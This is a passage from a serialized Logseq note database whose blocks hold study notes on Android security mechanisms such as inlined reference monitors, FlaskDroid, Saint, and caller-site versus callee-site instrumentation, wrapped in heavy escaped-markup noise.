revertiblelogseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[908,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[908,logseq____&quot;^Flogseq____&quot;,906,536878166]],[logseq____&quot;^15logseq____&quot;,[908,logseq____&quot;^Xlogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[908,logseq____&quot;^Vlogseq____&quot;,894,536878166]],[logseq____&quot;^15logseq____&quot;,[908,logseq____&quot;^Ulogseq____&quot;,856,536878166]],[logseq____&quot;^15logseq____&quot;,[908,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-50bf-49f3-bafe-c16c22a014c5logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[910,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Reverse engineering appslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[910,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[910,logseq____&quot;^Flogseq____&quot;,914,536878168]],[logseq____&quot;^15logseq____&quot;,[910,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[910,logseq____&quot;^Vlogseq____&quot;,933,536878168]],[logseq____&quot;^15logseq____&quot;,[910,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[910,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-bdb3-4210-94f6-628abefa95a4logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Problems with Inlined Monitorslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^Flogseq____&quot;,927,536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^Vlogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[911,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-f363-48f0-a07e-60ba05daede8logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## FlaskDroidlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^Flogseq____&quot;,932,536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^Vlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[912,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-dedd-43d7-8ba2-317045fca769logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Informationlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^Flogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^Vlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[913,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-1bd3-47e2-870a-6282fe0ae3c1logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[914,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Custom, fine-grained(e.g., parameter-sensitive) policieslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[914,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[914,logseq____&quot;^Flogseq____&quot;,935,536878168]],[logseq____&quot;^15logseq____&quot;,[914,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[914,logseq____&quot;^Vlogseq____&quot;,933,536878168]],[logseq____&quot;^15logseq____&quot;,[914,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[914,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-6d36-4781-a85f-373ed225effblogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[915,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Inserts hooks into system services that implement Android Application Framework APIlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[915,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[915,logseq____&quot;^Flogseq____&quot;,926,536878168]],[logseq____&quot;^15logseq____&quot;,[915,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[915,logseq____&quot;^Vlogseq____&quot;,912,536878168]],[logseq____&quot;^15logseq____&quot;,[915,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[915,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-e6cc-43f6-899c-09f8be2a7e0clogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[916,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Extends core reference monitorslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[916,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[916,logseq____&quot;^Flogseq____&quot;,932,536878168]],[logseq____&quot;^15logseq____&quot;,[916,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[916,logseq____&quot;^Vlogseq____&quot;,932,536878168]],[logseq____&quot;^15logseq____&quot;,[916,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[916,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-ff2c-4ab8-9048-daa45b38d771logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[917,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dynamically loaded codelogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[917,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[917,logseq____&quot;^Flogseq____&quot;,938,536878168]],[logseq____&quot;^15logseq____&quot;,[917,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[917,logseq____&quot;^Vlogseq____&quot;,924,536878168]],[logseq____&quot;^15logseq____&quot;,[917,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[917,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-9eb4-4600-a871-ed83e84695bblogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[918,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Would require firmware modifiactionlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[918,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[918,logseq____&quot;^Flogseq____&quot;,943,536878168]],[logseq____&quot;^15logseq____&quot;,[918,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[918,logseq____&quot;^Vlogseq____&quot;,919,536878168]],[logseq____&quot;^15logseq____&quot;,[918,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[918,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-3460-404c-8e9a-27f29c1056f6logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## OS extensionslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^Flogseq____&quot;,912,536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^Vlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[919,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-a984-460e-afab-02bf82e9f329logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[920,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dynamic instrumentation requires privilegeslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[920,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[920,logseq____&quot;^Flogseq____&quot;,939,536878168]],[logseq____&quot;^15logseq____&quot;,[920,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[920,logseq____&quot;^Vlogseq____&quot;,911,536878168]],[logseq____&quot;^15logseq____&quot;,[920,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[920,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-aff6-4ab2-a3c4-30a4c7b9710blogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[921,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Requries privileges for privileged componentslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[921,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[921,logseq____&quot;^Flogseq____&quot;,928,536878168]],[logseq____&quot;^15logseq____&quot;,[921,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[921,logseq____&quot;^Vlogseq____&quot;,924,536878168]],[logseq____&quot;^15logseq____&quot;,[921,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[921,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-ab61-483f-b831-655eb7dddecblogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[922,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Rewriter must identify all call-sites (malicious code can include custom implementations of SDK functions with different signatures, native code is hard to cover)logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[922,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[922,logseq____&quot;^Flogseq____&quot;,941,536878168]],[logseq____&quot;^15logseq____&quot;,[922,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[922,logseq____&quot;^Vlogseq____&quot;,911,536878168]],[logseq____&quot;^15logseq____&quot;,[922,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[922,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-f0c7-45b0-bfbc-06b1f9caf9d7logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[923,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[923,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[923,logseq____&quot;^Flogseq____&quot;,918,536878168]],[logseq____&quot;^15logseq____&quot;,[923,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[923,logseq____&quot;^Vlogseq____&quot;,919,536878168]],[logseq____&quot;^15logseq____&quot;,[923,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[923,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-8484-4864-a45e-d9351fe131delogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Callee-Sitelogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^Flogseq____&quot;,945,536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^Vlogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[924,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-44c2-41f3-8443-3b28550e331flogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[925,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Application layer solutions do not have sufficient privilegeslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[925,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[925,logseq____&quot;^Flogseq____&quot;,934,536878168]],[logseq____&quot;^15logseq____&quot;,[925,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[925,logseq____&quot;^Vlogseq____&quot;,913,536878168]],[logseq____&quot;^15logseq____&quot;,[925,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[925,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-a94e-4c9a-9ccf-7fb435856197logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[926,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dedicated user-space security server (kernel alone cannot implement rules covering ICC, e.g., two-hop Intent delivery)logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[926,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[926,logseq____&quot;^Flogseq____&quot;,912,536878168]],[logseq____&quot;^15logseq____&quot;,[926,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[926,logseq____&quot;^Vlogseq____&quot;,912,536878168]],[logseq____&quot;^15logseq____&quot;,[926,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[926,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-4787-4c9a-b4c3-74adea22b605logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Caller-sitelogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^Flogseq____&quot;,924,536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^Vlogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[927,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-65ef-4b64-a1dd-0f0bf0cd1bf7logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[928,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Deals with reflectionlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[928,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[928,logseq____&quot;^Flogseq____&quot;,917,536878168]],[logseq____&quot;^15logseq____&quot;,[928,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[928,logseq____&quot;^Vlogseq____&quot;,924,536878168]],[logseq____&quot;^15logseq____&quot;,[928,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[928,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-c3a4-492d-b3bd-3d3ffb8e5adalogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[929,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows app developers to specify components that other apps can communicate with (based on package info, e.g., signature key, version etc.)logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[929,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[929,logseq____&quot;^Flogseq____&quot;,916,536878168]],[logseq____&quot;^15logseq____&quot;,[929,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[929,logseq____&quot;^Vlogseq____&quot;,932,536878168]],[logseq____&quot;^15logseq____&quot;,[929,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[929,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-b0e1-40ac-8bc8-b189a7e29d14logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[930,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Many places to instrumentlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[930,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[930,logseq____&quot;^Flogseq____&quot;,927,536878168]],[logseq____&quot;^15logseq____&quot;,[930,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[930,logseq____&quot;^Vlogseq____&quot;,927,536878168]],[logseq____&quot;^15logseq____&quot;,[930,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[930,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-58e9-4875-985c-1836ed5c2df0logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[931,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Possible for end-userlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[931,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[931,logseq____&quot;^Flogseq____&quot;,946,536878168]],[logseq____&quot;^15logseq____&quot;,[931,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[931,logseq____&quot;^Vlogseq____&quot;,927,536878168]],[logseq____&quot;^15logseq____&quot;,[931,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[931,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-3377-4d59-bc4e-3127b078ee1flogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Saintlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^Flogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^Vlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[932,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-f5da-4d75-a675-0523845433fflogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Applicationslogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^Flogseq____&quot;,913,536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^Vlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^Jlogseq____&quot;,[],536878168]],[logseq____&quot;^15logseq____&quot;,[933,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-e6d3-46db-82f0-ac52b8be7ceelogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[934,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only start services etc. under runtime constraints, e.g., device locationlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[934,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[934,logseq____&quot;^Flogseq____&quot;,947,536878168]],[logseq____&quot;^15logseq____&quot;,[934,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[934,logseq____&quot;^Vlogseq____&quot;,913,536878168]],[logseq____&quot;^15logseq____&quot;,[934,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[934,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-51ff-42f6-9838-a4fbbafad848logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[935,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dynamic Access Control (revocation and re-granting of permissions)logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[935,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[935,logseq____&quot;^Flogseq____&quot;,933,536878168]],[logseq____&quot;^15logseq____&quot;,[935,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[935,logseq____&quot;^Vlogseq____&quot;,933,536878168]],[logseq____&quot;^15logseq____&quot;,[935,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[935,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-adba-41bf-a837-8749e3bce7ablogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[936,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dynamically loaded codelogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[936,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[936,logseq____&quot;^Flogseq____&quot;,930,536878168]],[logseq____&quot;^15logseq____&quot;,[936,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[936,logseq____&quot;^Vlogseq____&quot;,927,536878168]],[logseq____&quot;^15logseq____&quot;,[936,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[936,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-8ebe-4d4a-a9a2-f41a90cb05c1logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[937,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Mediate operations, e.g., monitor program behaviour, redirect control flow, take action based on policylogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[937,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[937,logseq____&quot;^Flogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[937,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[937,logseq____&quot;^Vlogseq____&quot;,944,536878168]],[logseq____&quot;^15logseq____&quot;,[937,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[937,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-f5f2-40f3-9102-dc149b5a7146logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[938,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Few places to instrumentlogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[938,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[938,logseq____&quot;^Flogseq____&quot;,924,536878168]],[logseq____&quot;^15logseq____&quot;,[938,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[938,logseq____&quot;^Vlogseq____&quot;,924,536878168]],[logseq____&quot;^15logseq____&quot;,[938,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[938,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-d2f5-463b-862f-c7ca9e706afelogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[939,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Androidlogseq____&apos;s same-origin model only allows updates from same origin, i.e., same signature as original app: Byte-code rewriting breaks same-origin model as application code is instrumented with inline codelogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[939,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[939,logseq____&quot;^Flogseq____&quot;,922,536878168]],[logseq____&quot;^15logseq____&quot;,[939,logseq____&quot;^Xlogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[939,logseq____&quot;^Vlogseq____&quot;,911,536878168]],[logseq____&quot;^15logseq____&quot;,[939,logseq____&quot;^Ulogseq____&quot;,855,536878168]],[logseq____&quot;^15logseq____&quot;,[939,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-24b2-4f88-a464-bd4f47e61ad9logseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[940,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Handle security-relevant 